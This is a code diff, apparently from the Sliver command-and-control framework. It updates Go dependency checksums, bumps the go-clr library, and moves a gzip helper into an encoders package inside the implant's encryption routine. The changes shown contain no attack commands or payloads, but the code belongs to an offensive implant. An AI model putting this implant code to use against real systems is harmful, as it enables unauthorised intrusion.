golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -494,46 +359,37 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec h1:BkDtF2Ih9xZ7le9ndzTA7KJow28VbQW3odyk/8drmuI=
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -552,32 +408,17 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f h1:YORWxaStkWBnWgELOHTmDrqNlFXuVGEbhwbB5iK94bQ=
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84 h1:hZAzgyItS2MPyqvdC8wQZI99ZLGP9Vwijyfr0dmYWc4=
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc=
google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
@@ -585,10 +426,9 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2w
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b h1:QRR6H1YWRnHb4Y/HeNFCTJLFVxaq6wH4YuVdsUOr75U=
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
@@ -600,46 +440,45 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuv
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.4.4 h1:MX0K9Qvy0Na4o7qSC/YI7XxqUw5KDw01umqgID+svdQ=
gorm.io/driver/mysql v1.4.4/go.mod h1:BCg8cKI+R0j/rZRQxeKis/forqRwRSYOR8OM3Wo6hOM=
gorm.io/driver/postgres v1.4.5 h1:mTeXTTtHAgnS9PgmhN2YeUbazYpLhUI1doLnw42XUZc=
gorm.io/driver/postgres v1.4.5/go.mod h1:GKNQYSJ14qvWkvPwXljMGehpKrhlDNsqYRr5HnYGncg=
gorm.io/driver/sqlite v1.4.3 h1:HBBcZSDnWi5BW3B3rwvVTc510KGkBkexlOg0QrmLUuU=
gorm.io/driver/sqlite v1.4.3/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
gorm.io/driver/postgres v1.4.8 h1:NDWizaclb7Q2aupT0jkwK8jx1HVCNzt+PQ8v/VnxviA=
gorm.io/driver/postgres v1.4.8/go.mod h1:O9MruWGNLUBUWVYfWuBClpf3HeGjOoybY0SNmCs3wsw=
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755 h1:7AdrbfcvKnzejfqP5g37fdSZOXH/JvaPIzBIHTOqXKk=
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gorm.io/gorm v1.24.2/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gorm.io/gorm v1.24.5 h1:g6OPREKqqlWq4kh/3MCQbZKImeB9e6Xgc4zD+JgNZGE=
gorm.io/gorm v1.24.5/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
+1 -1
View File
@@ -4,7 +4,7 @@ go 1.18
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
+2 -2
View File
@@ -6,8 +6,8 @@ github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
+19 -19
View File
@@ -20,7 +20,6 @@ package cryptography
import (
"bytes"
"compress/gzip"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
@@ -35,6 +34,7 @@ import (
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"golang.org/x/crypto/chacha20poly1305"
@@ -107,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if err != nil {
return nil, err
}
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
if _, err := rand.Read(nonce); err != nil {
return nil, err
